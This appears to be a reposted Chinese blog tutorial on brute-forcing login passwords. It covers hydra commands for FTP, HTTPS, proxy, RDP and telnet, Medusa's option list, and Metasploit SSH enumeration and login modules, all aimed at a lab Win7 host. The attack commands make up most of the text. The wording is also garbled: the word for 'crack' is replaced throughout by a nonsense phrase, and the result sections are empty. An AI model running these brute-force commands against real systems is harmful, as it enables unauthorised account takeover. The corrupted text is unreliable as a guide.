大家好,又见面了,我是你们的朋友全栈君。
hydra 是世界顶级密码暴力密码激活成功教程工具,支持几乎所有协议的在线密码激活成功教程,功能强大,其密码能否被激活成功教程关键取决 于激活成功教程字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。
激活成功教程ftp: hydra -L 用户名字典 -P 密码字典 -t 6 -e ns IP地址 -v 激活成功教程https: hydra -m /index.php -l 用户名 -P 密码字典.txt IP地址 https 激活成功教程http-proxy: hydra -l admin -P 字典.txt http-proxy://IP地址 激活成功教程rdp(windows远程登录): hydra ip地址 rdp -l administrator -P 密码字典.txt -V telnet激活成功教程: hydra ip地址 telnet -l 用户字典.txt -P 密码字典.txt
我们先建立简单的字典
我们在win7创建了一个属于telnet服务的用户bilibili,密码为123456(如何创建和开启telnet服务请看我相关博客)
对我们win7系统进行简单的密码暴力激活成功教程
输出为
成功
Medusa(美杜莎)是一个速度快,支持大规模并行,模块化的爆力激活成功教程工具。可以同时对多个主机,用户或密码执行强力测试。Medusa和hydra一样,同样属于在线密码激活成功教程工具。Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),NNTP,PcAnywhere, POP3, PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT,SMTP(AUTH/VRFY),SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC、Generic Wrapper以及Web表单的密码爆破工具
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h ———–[TEXT] 目标主机名称或者IP地址 -H ———–[FILE] 包含目标主机名称或者IP地址文件 -u ———-[TEXT] 测试的用户名 -U ———[FILE] 包含测试的用户名文件 -p ——[TEXT] 测试的密码 -P ——-[FILE] 包含测试的密码文件 -C ———[FILE] 组合条目文件 -O ——–[FILE] 日志信息文件 -e ——-[n/s/ns] n代表空密码,s代表为密码与用户名相同 -M ——-[TEXT] 模块执行名称 -m ——-[TEXT] 传递参数到模块 -d ———-显示所有的模块名称 -n ——–[NUM] 使用非默认Tcp端口 -s ——-启用SSL -r ———[NUM] 重试间隔时间,默认为3秒 -t ——–[NUM] 设定线程数量 -T ———–同时测试的主机总数 -L ——–并行化,每个用户使用一个线程 -f ——–在任何主机上找到第一个账号/密码后,停止激活成功教程 -F ——-在任何主机上找到第一个有效的用户名/密码后停止审计 -q ———显示模块的使用信息 -v ———[NUM] 详细级别(0-6) -w ——–[NUM] 错误调试级别(0-10) -V ——–显示版本 -Z ———[TEXT] 继续扫描上一次
我们先创建一个hostlist.txt文档,用同样的方式进行激活成功教程
结果:
例1:
例2:
Metasploit Framework(简称MSF)是一个编写、测试和使用exploit代码的完善环境。这个环境为渗透测试, Shellcode编写和漏洞研究提供了一个可靠的平台,这个框架主要是由面向对象的Perl编程语言编写的,并带有由C语 言,汇编程序和Python编写的可选组件。
1.ssh模块 root@kali:~# msfconsole msf > search ssh
2.SSH用户枚举 msf > use auxiliary/scanner/ssh/ssh_enumusers msf auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.64.129 msf auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /root/userlist.txt msf auxiliary(scanner/ssh/ssh_enumusers) > set rport 23 msf auxiliary(scanner/ssh/ssh_enumusers) > set PASS_FILE /root/passwordlist.txt msf auxiliary(scanner/ssh/ssh_enumusers) > run
这里输出和想象不一样,可能是这是ssh服务,不是telnet服务 其他的可以用show options 来查看并依次设置参数 3.ssh版本探测 msf > use auxiliary/scanner/ssh/ssh_version msf auxiliary(scanner/ssh/ssh_version) > set rhosts 192.168.64.129 msf auxiliary(scanner/ssh/ssh_version) > run
4.ssh暴力激活成功教程 msf > use auxiliary/scanner/ssh/ssh_login msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.64.129 msf auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/userlist.txt msf auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/passwordlist.txt msf auxiliary(scanner/ssh/ssh_login) > run
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/172191.html原文链接:https://javaforall.cn